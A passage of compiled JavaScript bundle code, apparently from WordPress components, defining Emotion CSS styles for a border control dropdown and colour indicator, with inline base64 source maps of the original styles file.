J1dHRvbjpub3QoIC5oYXMtdGV4dCApIHtcblx0XHRtaW4td2lkdGg6IDI0cHg7XG5cdFx0cGFkZGluZzogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xQb3BvdmVyQ29udGVudCA9IGNzc2BgO1xuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9ySW5kaWNhdG9yID0gY3NzYGA7XG5cbmV4cG9ydCBjb25zdCByZXNldEJ1dHRvbldyYXBwZXIgPSBjc3NgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7XG5cdG1hcmdpbi10b3A6IDEycHg7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyU2xpZGVyID0gKCkgPT4gY3NzYFxuXHRmbGV4OiAxIDEgNjAlO1xuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IHNwYWNlKCAzICkgfSApKCkgfVxuYDtcbiJdfQ== */");
32772 };
32773 var borderControlDropdown = /* @__PURE__ */ css("background:#fff;&&>button{aspect-ratio:1;padding:0;display:flex;align-items:center;justify-content:center;", rtl({
32774 borderRadius: `2px 0 0 2px`
32775 }, {
32776 borderRadius: `0 2px 2px 0`
32777 })(), " border:", config_values_default.borderWidth, " solid ", COLORS.ui.border, ";&:focus,&:hover:not( :disabled ){", focusBoxShadow, " border-color:", COLORS.ui.borderFocus, ";z-index:1;position:relative;}}" + (false ? "" : ";label:borderControlDropdown;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF5RHdDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32778 var colorIndicatorBorder = (border) => {
32779 const {
32780 color: color2,
32781 style: style2
32782 } = border || {};
32783 const fallbackColor = !!style2 && style2 !== "none" ? COLORS.gray[300] : void 0;
32784 return /* @__PURE__ */ css("border-style:", style2 === "none" ? "solid" : style2, ";border-color:", color2 || fallbackColor, ";" + (false ? "" : ";label:colorIndicatorBorder;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RlciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgU3R5bGVkTGFiZWwgfSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHtcblx0VmFsdWVJbnB1dCBhcyBVbml0Q29udHJvbFdyYXBwZXIsXG5cdFVuaXRTZWxlY3QsXG59IGZyb20gJy4uL3VuaXQtY29udHJvbC9zdHlsZXMvdW5pdC1jb250cm9sLXN0eWxlcyc7XG5cbmltcG9ydCB0eXBlIHsgQm9yZGVyIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IGZvY3VzQm94U2hhZG93ID0gY3NzYFxuXHRib3gtc2hhZG93OiBpbnNldCAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQ29udHJvbCA9IGNzc2Bcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBpbm5lcldyYXBwZXIgPSAoKSA9PiBjc3NgXG5cdCR7IFVuaXRDb250cm9sV3JhcHBlciB9IHtcblx0XHRmbGV4OiAxIDEgNDAlO1xuXHR9XG5cdCYmICR7IFVuaXRTZWxlY3QgfSB7XG5cdFx0LyogUHJldmVudCB1bml0IHNlbGVjdCBmb3JjaW5nIG1pbiBoZWlnaHQgbGFyZ2VyIHRoYW4gaXRzIFVuaXRDb250cm9sICovXG5cdFx0bWluLWhlaWdodDogMDtcblx0fVxuYDtcblxuLypcbiAqIFRoaXMgc3R5bGUgaXMgb25seSBhcHBsaWVkIHRvIHRoZSBVbml0Q29udHJvbCB3cmFwcGVyIHdoZW4gdGhlIGJvcmRlciB3aWR0aFxuICogZmllbGQgc2hvdWxkIGJlIGEgc2V0IHdpZHRoLiBPbWl0dGluZyB0aGlzIGFsbG93cyB0aGUgVW5pdENvbnRyb2wgJlxuICogUmFuZ2VDb250cm9sIHRvIHNoYXJlIHRoZSBhdmFpbGFibGUgd2lkdGggaW4gYSA0MC82MCBzcGxpdCByZXNwZWN0aXZlbHkuXG4gKi9cbmV4cG9ydCBjb25zdCB3cmFwcGVyV2lkdGggPSBjc3NgXG5cdCR7IFVuaXRDb250cm9sV3JhcHBlciB9IHtcblx0XHQvKiBGb3JjZSB0aGUgVW5pdENvbnRyb2wncyBzZXQgd2lkdGguICovXG5cdFx0ZmxleDogMCAwIGF1dG87XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB3cmFwcGVySGVpZ2h0ID0gKCBzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzQwcHgnIDogJzMwcHgnIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQ29udHJvbERyb3Bkb3duID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiAjZmZmO1xuXG5cdCYmID4gYnV0dG9uIHtcblx0XHRhc3BlY3QtcmF0aW86IDE7XG5cdFx0cGFkZGluZzogMDtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0JHsgcnRsKFxuXHRcdFx0eyBib3JkZXJSYWRpdXM6IGAycHggMCAwIDJweGAgfSxcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMCAycHggMnB4IDBgIH1cblx0XHQpKCkgfVxuXHRcdGJvcmRlcjogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlciB9O1xuXG5cdFx0Jjpmb2N1cyxcblx0XHQmOmhvdmVyOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0JHsgZm9jdXNCb3hTaGFkb3cgfVxuXHRcdFx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgY29sb3JJbmRpY2F0b3JCb3JkZXIgPSAoIGJvcmRlcj86IEJvcmRlciApID0+IHtcblx0Y29uc3QgeyBjb2xvciwgc3R5bGUgfSA9IGJvcmRlciB8fCB7fTtcblxuXHRjb25zdCBmYWxsYmFja0NvbG9yID1cblx0XHQhISBzdHlsZSAmJiBzdHlsZSAhPT0gJ25vbmUnID8gQ09MT1JTLmdyYXlbIDMwMCBdIDogdW5kZWZpbmVkO1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXN0eWxlOiAkeyBzdHlsZSA9PT0gJ25vbmUnID8gJ3NvbGlkJyA6IHN0eWxlIH07XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBjb2xvciB8fCBmYWxsYmFja0NvbG9yIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgY29sb3JJbmRpY2F0b3JXcmFwcGVyID0gKFxuXHRib3JkZXI/OiBCb3JkZXIsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRjb25zdCB7IHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRcdGJvcmRlcjogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdCR7IHN0eWxlID8gY29sb3JJbmRpY2F0b3JCb3JkZXIoIGJvcmRlciApIDogdW5kZWZpbmVkIH1cblx0XHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0aGVpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjRweCcgOiAnMjJweCcgfTtcblx0XHRwYWRkaW5nOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMnB4JyA6ICcxcHgnIH07XG5cblx0XHQvKlxuXHRcdCAqIENvbG9ySW5kaWNhdG9yXG5cdFx0ICpcblx0XHQgKiBUaGUgdHJhbnNwYXJlbnQgY29sb3JzIHVzZWQgaGVyZSBlbnN1cmUgdmlzaWJpbGl0eSBvZiB0aGUgaW5kaWNhdG9yXG5cdFx0ICogb3ZlciB0aGUgYWN0aXZlIHN0YXRlIG9mIHRoZSBib3JkZXIgY29udHJvbCBkcm9wZG93bidzIHRvZ2dsZSBidXR0b24uXG5cdFx0ICovXG5cdFx0JiA+IHNwYW4ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5cdFx0XHR3aWR0aDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHQtNDVkZWcsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDQ4JSxcblx0XHRcdFx0cmdiKCAwIDAgMCAvIDIwJSApIDQ4JSxcblx0XHRcdFx0cmdiKCAwIDAgMCAvIDIwJSApIDUyJSxcblx0XHRcdFx0dHJhbnNwYXJlbnQgNTIlXG5cdFx0XHQpO1xuXHRcdH1cblx0YDtcbn07XG5cbi8vIE11c3QgZXF1YWwgJGNvbG9yLXBhbGV0dGUtY2lyY2xlLXNpemUgZnJvbTpcbi8vIEB3b3JkcHJlc3MvY29tcG9uZW50cy9zcmMvY2lyY3VsYXItb3B0aW9uLXBpY2tlci9zdHlsZS5zY3NzXG5jb25zdCBzd2F0Y2hTaXplID0gMjg7XG5jb25zdCBzd2F0Y2hHYXAgPSAxMjtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xQb3BvdmVyQ29udHJvbHMgPSBjc3NgXG5cdHdpZHRoOiAkeyBzd2F0Y2hTaXplICogNiArIHN3YXRjaEdhcCAqIDUgfXB4O1xuXG5cdD4gZGl2OmZpcnN0LW9mLXR5cGUgPiAkeyBTdHlsZWRMYWJlbCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5cblx0JiYgJHsgU3R5bGVkTGFiZWwgfSArIGJ1dHRvbjpub3QoIC5oYXMtdGV4dCApIHtcblx0XHRtaW4td2lkdGg6IDI0cHg7XG5cdFx0cGFkZGluZzogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xQb3BvdmVyQ29udGVudCA9IGNzc2BgO1xuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9ySW5kaWNhdG9yID0gY3NzYGA7XG5cbmV4cG9ydCBjb25zdCByZXNldEJ1dHRvbldyYXBwZXIgPSBjc3NgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7XG5cdG1hcmdpbi10b3A6IDEycHg7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyU2xpZGVyID0gKCkgPT4gY3NzYFxuXHRmbGV4OiAxIDEgNjAlO1xuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IHNwYWNlKCAzICkgfSApKCkgfVxuYDtcbiJdfQ== */");
32785 };
32786 var colorIndicatorWrapper = (border, size3) => {
32787 const {
32788 style: style2
32789 } = border || {};
32790 return /* @__PURE__ */ css("border-radius:", config_values_default.radiusFull, ";border:2px solid transparent;", style2 ? colorIndicatorBorder(border) : void 0, " width:", size3 === "__unstable-large" ? "24px" : "22px", ";height:", size3 === "__unstable-large" ? "24px" : "22px", ";padding:", size3 === "__unstable-large" ? "2px" : "1px", ";&>span{height:", space(4), ";width:", space(4), ";background:linear-gradient(\n -45deg,\n transparent 48%,\n rgb( 0 0 0 / 20% ) 48%,\n rgb( 0 0 0 / 20% ) 52%,\n transparent 52%\n );}" + (false ? "" : ";label:colorIndicatorWrapper;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvR1ciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgU3R5bGVkTGFiZWwgfSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHtcblx0VmFsdWVJbnB1dCBhcyBVbml0Q29udHJvbFdyYXBwZXIsXG5cdFVuaXRTZWxlY3QsXG59IGZyb20gJy4uL3VuaXQtY29udHJvbC9zdHlsZXMvdW5pdC1jb250cm9sLXN0eWxlcyc7XG5cbmltcG9ydCB0eXBlIHsgQm9yZGVyIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IGZvY3VzQm94U2hhZG93ID0gY3NzYFxuXHRib3gtc2hhZG93OiBpbnNldCAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQ29udHJvbCA9IGNzc2Bcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBpbm5lcldyYXBwZXIgPSAoKSA9PiBjc3NgXG5cdCR7IFVuaXRDb250cm9sV3JhcHBlciB9IHtcblx0XHRmbGV4OiAxIDEgNDAlO1xuXHR9XG5cdCYmICR7IFVuaXRTZWxlY3QgfSB7XG5cdFx0LyogUHJldmVudCB1bml0IHNlbGVjdCBmb3JjaW5nIG1pbiBoZWlnaHQgbGFyZ2VyIHRoYW4gaXRzIFVuaXRDb250cm9sICovXG5cdFx0bWluLWhlaWdodDogMDtcblx0fVxuYDtcblxuLypcbiAqIFRoaXMgc3R5bGUgaXMgb25seSBhcHBsaWVkIHRvIHRoZSBVbml0Q29udHJvbCB3cmFwcGVyIHdoZW4gdGhlIGJvcmRlciB3aWR0aFxuICogZmllbGQgc2hvdWxkIGJlIGEgc2V0IHdpZHRoLiBPbWl0dGluZyB0aGlzIGFsbG93cyB0aGUgVW5pdENvbnRyb2wgJlxuICogUmFuZ2VDb250cm9sIHRvIHNoYXJlIHRoZSBhdmFpbGFibGUgd2lkdGggaW4gYSA0MC82MCBzcGxpdCByZXNwZWN0aXZlbHkuXG4gKi9cbmV4cG9ydCBjb25zdCB3cmFwcGVyV2lkdGggPSBjc3NgXG5cdCR7IFVuaXRDb250cm9sV3JhcHBlciB9IHtcblx0XHQvKiBGb3JjZSB0aGUgVW5pdENvbnRyb2wncyBzZXQgd2lkdGguICovXG5cdFx0ZmxleDogMCAwIGF1dG87XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB3cmFwcGVySGVpZ2h0ID0gKCBzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzQwcHgnIDogJzMwcHgnIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQ29udHJvbERyb3Bkb3duID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiAjZmZmO1xuXG5cdCYmID4gYnV0dG9uIHtcblx0XHRhc3BlY3QtcmF0aW86IDE7XG5cdFx0cGFkZGluZzogMDtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0JHsgcnRsKFxuXHRcdFx0eyBib3JkZXJSYWRpdXM6IGAycHggMCAwIDJweGAgfSxcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMCAycHggMnB4IDBgIH1cblx0XHQpKCkgfVxuXHRcdGJvcmRlcjogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlciB9O1xuXG5cdFx0Jjpmb2N1cyxcblx0XHQmOmhvdmVyOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0JHsgZm9jdXNCb3hTaGFkb3cgfVxuXHRcdFx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgY29sb3JJbmRpY2F0b3JCb3JkZXIgPSAoIGJvcmRlcj86IEJvcmRlciApID0+IHtcblx0Y29uc3QgeyBjb2xvciwgc3R5bGUgfSA9IGJvcmRlciB8fCB7fTtcblxuXHRjb25zdCBmYWxsYmFja0NvbG9yID1cblx0XHQhISBzdHlsZSAmJiBzdHlsZSAhPT0gJ25vbmUnID8gQ09MT1JTLmdyYXlbIDMwMCBdIDogdW5kZWZpbmVkO1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXN0eWxlOiAkeyBzdHlsZSA9PT0gJ25vbmUnID8gJ3NvbGlkJyA6IHN0eWxlIH07XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBjb2xv